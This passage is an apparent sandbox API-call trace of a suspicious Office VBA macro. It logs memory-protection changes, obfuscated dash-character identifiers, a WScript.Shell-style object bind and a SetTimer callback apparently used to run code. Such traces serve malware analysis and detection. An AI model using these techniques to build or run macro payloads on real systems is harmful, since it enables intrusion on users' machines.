lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0093.023] GetCurrentProcess () returned 0xffffffff [0093.023] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0093.023] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.024] GetCurrentProcess () returned 0xffffffff [0093.024] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0093.024] GetCurrentProcess () returned 0xffffffff [0093.024] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0093.024] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.024] GetCurrentProcess () returned 0xffffffff [0093.024] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0093.024] GetCurrentProcess () returned 0xffffffff [0093.024] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0093.024] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.025] GetCurrentProcess () returned 0xffffffff [0093.025] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0093.025] GetCurrentProcess () returned 0xffffffff [0093.025] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0093.025] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.025] GetCurrentProcess () returned 0xffffffff [0093.025] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0093.025] GetCurrentProcess () returned 0xffffffff [0093.025] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0093.025] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.026] GetCurrentProcess () returned 0xffffffff [0093.026] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0093.026] GetCurrentProcess () returned 0xffffffff [0093.026] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0093.026] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0093.027] GetCurrentProcess () returned 0xffffffff [0093.027] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0093.028] GetAsyncKeyState (vKey=3) returned 0 [0093.028] VarCmp (pvarLeft=0x197d34, pvarRight=0x197d24, lcid=0x0, dwFlags=0x30001) returned 0x2 [0093.028] VarCmp (pvarLeft=0x197d34, pvarRight=0x197d24, lcid=0x0, dwFlags=0x30001) returned 0x2 [0093.028] VarCmp (pvarLeft=0x197d34, pvarRight=0x197d24, lcid=0x0, dwFlags=0x30001) returned 0x2 [0093.028] VarCmp (pvarLeft=0x197d34, pvarRight=0x197d24, lcid=0x0, dwFlags=0x30001) returned 0x1 [0093.029] CRetailMalloc_Alloc () returned 0xcaec738 [0093.029] memcpy (in: _Dst=0xfa54f38, _Src=0x197468, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.029] memcpy (in: _Dst=0xfa55040, _Src=0x197484, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0093.029] memcpy (in: _Dst=0xfa54f38, _Src=0x197468, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2f16, cbMultiByte=10, lpWideCharStr=0x197284, cchWideChar=11 | out: lpWideCharStr="GetObject") returned 10 [0093.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280a22, cbMultiByte=10, lpWideCharStr=0x1972e4, cchWideChar=11 | out: lpWideCharStr="GetObject") returned 10 [0093.030] memcpy (in: _Dst=0xfa54f38, _Src=0x1972d4, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.030] memcpy (in: _Dst=0xfa54f38, _Src=0x197468, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2f3e, cbMultiByte=16, lpWideCharStr=0x197284, cchWideChar=17 | out: lpWideCharStr="——–—––––––––—––") returned 16 [0093.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112809f6, cbMultiByte=16, lpWideCharStr=0x1972e4, cchWideChar=17 | out: lpWideCharStr="——–—––––––––—––") returned 16 [0093.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112809f6, cbMultiByte=16, lpWideCharStr=0x1972e4, cchWideChar=17 | out: lpWideCharStr="——–—––––––––—––") returned 16 [0093.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112809f6, cbMultiByte=16, lpWideCharStr=0x1972e4, cchWideChar=17 | out: lpWideCharStr="——–—––––––––—––") returned 16 [0093.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112809f6, cbMultiByte=16, lpWideCharStr=0x1972e4, cchWideChar=17 | out: lpWideCharStr="——–—––––––––—––") returned 16 [0093.031] CRetailMalloc_Alloc () returned 0xc879790 [0093.031] _mbscpy_s (in: _Dst=0xc879790, _DstSizeInBytes=0x10, _Src=0x112809f6 | out: _Dst=0xc879790) returned 0x0 [0093.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280c9e, cbMultiByte=23, lpWideCharStr=0x1972f4, cchWideChar=24 | out: lpWideCharStr="_B_var_——–—––––––––—––") returned 23 [0093.031] _mbscpy_s (in: _Dst=0x19735c, _DstSizeInBytes=0x10, _Src=0x112809f6 | out: _Dst=0x19735c) returned 0x0 [0093.031] CRetailMalloc_Free () returned 0x1 [0093.031] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0093.031] memcpy (in: _Dst=0xfa54f38, _Src=0x197468, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.031] memcpy (in: _Dst=0xfa54f3c, _Src=0x197468, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0093.031] memcpy (in: _Dst=0xfa54f38, _Src=0x1972d4, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.031] memcpy (in: _Dst=0xfa54f38, _Src=0x1972d4, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.032] memcpy (in: _Dst=0xfa54f38, _Src=0x197468, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.032] memcpy (in: _Dst=0xfa54f38, _Src=0x197468, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0093.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6955ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0093.032] memcpy (in: _Dst=0xcaec7b8, _Src=0x197504, _Size=0x18 | out: _Dst=0xcaec7b8) returned 0xcaec7b8 [0093.032] CRetailMalloc_Realloc () returned 0xcaec738 [0093.032] CRetailMalloc_Free () returned 0x1 [0093.032] GetCurrentProcess () returned 0xffffffff [0093.032] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0093.032] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.033] GetCurrentProcess () returned 0xffffffff [0093.033] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0093.033] GetCurrentProcess () returned 0xffffffff [0093.033] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0093.033] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.034] GetCurrentProcess () returned 0xffffffff [0093.034] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0093.034] GetCurrentProcess () returned 0xffffffff [0093.034] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0093.034] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.034] GetCurrentProcess () returned 0xffffffff [0093.034] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0093.034] GetCurrentProcess () returned 0xffffffff [0093.034] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0093.034] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.035] GetCurrentProcess () returned 0xffffffff [0093.035] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0093.035] GetCurrentProcess () returned 0xffffffff [0093.035] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0093.035] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.035] GetCurrentProcess () returned 0xffffffff [0093.035] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0093.035] GetCurrentProcess () returned 0xffffffff [0093.035] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0093.035] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.036] GetCurrentProcess () returned 0xffffffff [0093.036] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0093.036] GetCurrentProcess () returned 0xffffffff [0093.036] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0093.036] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.036] GetCurrentProcess () returned 0xffffffff [0093.036] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0093.036] GetCurrentProcess () returned 0xffffffff [0093.036] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0093.036] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.037] GetCurrentProcess () returned 0xffffffff [0093.037] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0093.037] GetCurrentProcess () returned 0xffffffff [0093.037] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0093.037] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.037] GetCurrentProcess () returned 0xffffffff [0093.037] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0093.037] GetCurrentProcess () returned 0xffffffff [0093.037] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0093.037] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.038] GetCurrentProcess () returned 0xffffffff [0093.038] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0093.038] GetCurrentProcess () returned 0xffffffff [0093.038] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0093.038] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.038] GetCurrentProcess () returned 0xffffffff [0093.038] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0093.038] GetCurrentProcess () returned 0xffffffff [0093.039] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0093.039] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.039] GetCurrentProcess () returned 0xffffffff [0093.039] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0093.039] GetCurrentProcess () returned 0xffffffff [0093.039] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0093.039] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.040] GetCurrentProcess () returned 0xffffffff [0093.040] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0093.040] GetCurrentProcess () returned 0xffffffff [0093.040] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0093.040] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.040] GetCurrentProcess () returned 0xffffffff [0093.040] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0093.040] GetCurrentProcess () returned 0xffffffff [0093.040] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0093.040] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.041] GetCurrentProcess () returned 0xffffffff [0093.041] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0093.041] GetCurrentProcess () returned 0xffffffff [0093.041] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0093.041] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.042] GetCurrentProcess () returned 0xffffffff [0093.042] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0093.042] GetCurrentProcess () returned 0xffffffff [0093.042] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0093.042] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.043] GetCurrentProcess () returned 0xffffffff [0093.043] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0093.043] GetCurrentProcess () returned 0xffffffff [0093.043] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0093.043] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.043] GetCurrentProcess () returned 0xffffffff [0093.043] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0093.043] GetCurrentProcess () returned 0xffffffff [0093.043] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0093.044] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.044] GetCurrentProcess () returned 0xffffffff [0093.044] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0093.044] GetCurrentProcess () returned 0xffffffff [0093.044] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0093.044] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.044] GetCurrentProcess () returned 0xffffffff [0093.044] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0093.044] GetCurrentProcess () returned 0xffffffff [0093.044] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0093.045] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.045] GetCurrentProcess () returned 0xffffffff [0093.045] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0093.045] GetCurrentProcess () returned 0xffffffff [0093.045] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0093.045] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.045] GetCurrentProcess () returned 0xffffffff [0093.045] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0093.045] GetCurrentProcess () returned 0xffffffff [0093.045] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0093.045] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.046] GetCurrentProcess () returned 0xffffffff [0093.046] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0093.046] GetCurrentProcess () returned 0xffffffff [0093.046] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0093.046] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.046] GetCurrentProcess () returned 0xffffffff [0093.046] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0093.046] GetCurrentProcess () returned 0xffffffff [0093.046] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0093.046] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.047] GetCurrentProcess () returned 0xffffffff [0093.047] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0093.047] GetCurrentProcess () returned 0xffffffff [0093.047] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0093.047] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.047] GetCurrentProcess () returned 0xffffffff [0093.047] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0093.047] GetCurrentProcess () returned 0xffffffff [0093.047] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0093.047] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.048] GetCurrentProcess () returned 0xffffffff [0093.048] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0093.048] GetCurrentProcess () returned 0xffffffff [0093.048] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0093.048] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.048] GetCurrentProcess () returned 0xffffffff [0093.048] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0093.048] GetCurrentProcess () returned 0xffffffff [0093.048] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0093.048] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.049] GetCurrentProcess () returned 0xffffffff [0093.049] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0093.049] GetCurrentProcess () returned 0xffffffff [0093.049] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0093.049] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.049] GetCurrentProcess () returned 0xffffffff [0093.049] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0093.049] GetCurrentProcess () returned 0xffffffff [0093.049] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0093.049] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1971ac | out: lpflOldProtect=0x1971ac*=0x40) returned 1 [0093.050] GetCurrentProcess () returned 0xffffffff [0093.050] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0093.050] SetErrorMode (uMode=0x8001) returned 0x8001 [0093.050] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0093.050] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x69320000 [0093.050] SetErrorMode (uMode=0x8001) returned 0x8001 [0093.051] GetProcAddress (hModule=0x69320000, lpProcName=0x272) returned 0x6951533a [0093.052] GetAsyncKeyState (vKey=3) returned 0 [0093.052] VarCmp (pvarLeft=0x19798c, pvarRight=0x19797c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0093.052] VarCmp (pvarLeft=0x19798c, pvarRight=0x19797c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0093.052] VarCmp (pvarLeft=0x19798c, pvarRight=0x19797c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0093.052] VarCmp (pvarLeft=0x19798c, pvarRight=0x19797c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0093.052] VarCmp (pvarLeft=0x19798c, pvarRight=0x19797c, lcid=0x0, dwFlags=0x30001) returned 0x1 [0093.052] CreateBindCtx (in: reserved=0x0, ppbc=0x1977f8 | out: ppbc=0x1977f8*=0xcaa4e40) returned 0x0 [0093.053] MkParseDisplayName (in: pbc=0xcaa4e40, szUserName="new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B", pchEaten=0x1977fc, ppmk=0x197800 | out: pchEaten=0x1977fc, ppmk=0x197800*=0xcaa5780) returned 0x0 [0094.355] IUnknown:Release (This=0xcaa4e40) returned 0x0 [0094.355] BindMoniker (in: pmk=0xcaa5780, grfOpt=0x0, iidResult=0x69538088*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x1977f4 | out: ppvResult=0x1977f4*=0x8dbc694) returned 0x0 [0095.080] IUnknown:Release (This=0xcaa5780) returned 0x0 [0095.081] GetAsyncKeyState (vKey=3) returned 0 [0095.083] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x197b9c | out: ppsaOut=0x197b9c) returned 0x0 [0095.083] SafeArrayAllocData (psa=0xc7ce4f0) returned 0x0 [0095.094] SafeArrayDestroyData (psa=0xc7ce4f0) returned 0x0 [0095.094] SafeArrayDestroyDescriptor (psa=0xc7ce4f0) returned 0x0 [0095.099] SetErrorMode (uMode=0x8001) returned 0x8001 [0095.099] _stricmp (_Str1="user32", _Str2="VBE6.DLL") returned -1 [0095.099] LoadLibraryA (lpLibFileName="user32") returned 0x743d0000 [0095.099] SetErrorMode (uMode=0x8001) returned 0x8001 [0095.099] GetProcAddress (hModule=0x743d0000, lpProcName="SetTimer") returned 0x743eee50 [0095.100] SetTimer (hWnd=0x0, nIDEvent=0x11726020, uElapse=0x1, lpTimerFunc=0x11726020) returned 0x7f85 [0095.100] GetLastError () returned 0x0 [0095.100] CRetailMalloc_Alloc () returned 0xcaec808 [0095.100] memcpy (in: _Dst=0xfa54f38, _Src=0x197714, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0095.100] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0095.100] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x96\x97\x97\x96\x97\x96\x96\x96\x97\x97", cchCount1=-1, lpString2="\x96\x97\x96\x97\x97\x96\x96\x97\x97\x96\x96", cchCount2=-1) returned 3 [0095.100] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x96\x96\x97\x96\x97\x96\x97\x96\x96\x96", cchCount1=-1, lpString2="\x96\x97\x96\x97\x97\x96\x96\x97\x97\x96\x96", cchCount2=-1) returned 1 [0095.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2f6a, cbMultiByte=12, lpWideCharStr=0x1976c4, cchWideChar=13 | out: lpWideCharStr="–—–——––——––") returned 12 [0095.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280856, cbMultiByte=12, lpWideCharStr=0x197724, cchWideChar=13 | out: lpWideCharStr="–—–——––——––") returned 12 [0095.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280856, cbMultiByte=12, lpWideCharStr=0x197724, cchWideChar=13 | out: lpWideCharStr="–—–——––——––") returned 12 [0095.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280856, cbMultiByte=12, lpWideCharStr=0x197724, cchWideChar=13 | out: lpWideCharStr="–—–——––——––") returned 12 [0095.101] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x96\x97\x97\x96\x97\x96\x96\x96\x97\x97", cchCount1=-1, lpString2="\x96\x97\x96\x97\x97\x96\x96\x97\x97\x96\x96", cchCount2=-1) returned 3 [0095.101] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x96\x96\x97\x96\x97\x96\x97\x96\x96\x96", cchCount1=-1, lpString2="\x96\x97\x96\x97\x97\x96\x96\x97\x97\x96\x96", cchCount2=-1) returned 1 [0095.101] MultiByteToWideChar (in: CodePage=0x0, 